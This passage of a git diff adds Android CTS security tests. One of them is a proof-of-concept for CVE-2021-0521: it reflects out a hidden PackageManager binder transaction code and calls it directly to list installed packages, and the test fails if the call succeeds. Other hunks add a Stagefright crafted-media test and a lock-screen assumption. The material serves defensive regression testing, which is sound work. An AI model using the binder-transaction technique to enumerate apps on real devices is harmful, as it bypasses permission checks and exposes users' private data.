* Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import android.os.IBinder; +import android.os.Parcel; +import android.platform.test.annotations.AsbSecurityTest; +import android.platform.test.annotations.SecurityTest; +import android.util.Log; +import androidx.test.runner.AndroidJUnit4; +import java.lang.reflect.Field; +import java.util.Collections; +import java.util.List; +import org.junit.runner.RunWith; +import org.junit.Test; + +import static org.hamcrest.core.Is.is; +import static org.hamcrest.core.IsNot.not; +import static org.junit.Assert.assertThat; +import static org.junit.Assume.assumeThat; + +@RunWith(AndroidJUnit4.class) +public class CVE_2021_0521 { + + private String TAG = "CVE_2021_0521"; + + private int getFunctionCode(String className) { + int code = -1; + try { + Class c = Class.forName(className); + Field field = c.getDeclaredField("TRANSACTION_getAllPackages"); + field.setAccessible(true); + code = field.getInt(c); + } catch (Exception e) { + Log.e(TAG, "Exception caught " + e.toString()); + } + return code; + } + + private IBinder getIBinderFromServiceManager(String serviceName) { + try { + return (IBinder) Class.forName("android.os.ServiceManager") + .getMethod("getService", String.class).invoke(null, serviceName); + } catch (Exception e) { + return null; + } + } + + /** + * b/174661955 + */ + @AsbSecurityTest(cveBugId = 174661955) + @SecurityTest(minPatchLevel = "2021-06") + @Test + public void testPocCVE_2021_0521() { + IBinder pmsBinder = getIBinderFromServiceManager("package"); + List<String> allPkgList = Collections.<String>emptyList(); + try { + String desciption = pmsBinder.getInterfaceDescriptor(); + int code = getFunctionCode(desciption + "$Stub"); + assumeThat(code, not(is(-1))); + Parcel send = Parcel.obtain(); + Parcel reply = Parcel.obtain(); + send.writeInterfaceToken(desciption); + if (pmsBinder.transact(code, send, reply, 0)) { + reply.readException(); + allPkgList = reply.createStringArrayList(); + } + } catch (Exception e) { + Log.e(TAG, "Exception caught " + e.toString()); + } finally { + Log.e(TAG, "List of installed packages: " + allPkgList.toString()); + assertThat("Got a non empty list of installed packages, hence device " + + "is vulnerable to b/174661955", allPkgList.size(), is(0)); + } + } +} diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java index 725cdbf5d38..3d3efb119d0 100644 --- a/tests/tests/security/src/android/security/cts/StagefrightTest.java +++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java @@ -2606,6 +2606,13 @@ public class StagefrightTest { assertExtractorDoesNotHang(R.raw.bug_127313764); } + @Test + @AsbSecurityTest(cveBugId = 189402477) + public void testStagefright_cve_2021_0635() throws Exception { + doStagefrightTest(R.raw.cve_2021_0635_1); + doStagefrightTest(R.raw.cve_2021_0635_2); + } + private int[] getFrameSizes(int rid) throws IOException { final Context context = getInstrumentation().getContext(); final Resources resources = context.getResources(); diff --git a/tests/tests/sensorprivacy/src/android/sensorprivacy/cts/SensorPrivacyBaseTest.kt b/tests/tests/sensorprivacy/src/android/sensorprivacy/cts/SensorPrivacyBaseTest.kt index a133e19938e..d5035fab288 100644 --- a/tests/tests/sensorprivacy/src/android/sensorprivacy/cts/SensorPrivacyBaseTest.kt +++ b/tests/tests/sensorprivacy/src/android/sensorprivacy/cts/SensorPrivacyBaseTest.kt @@ -187,6 +187,9 @@ abstract class SensorPrivacyBaseTest( @Test @AppModeFull(reason = "Instant apps can't manage keyguard") fun testCantChangeWhenLocked() { + Assume.assumeTrue(packageManager + .hasSystemFeature(PackageManager.FEATURE_SECURE_LOCK_SCREEN)) + setSensor(false) assertFalse(isSensorPrivacyEnabled()) runWhileLocked { |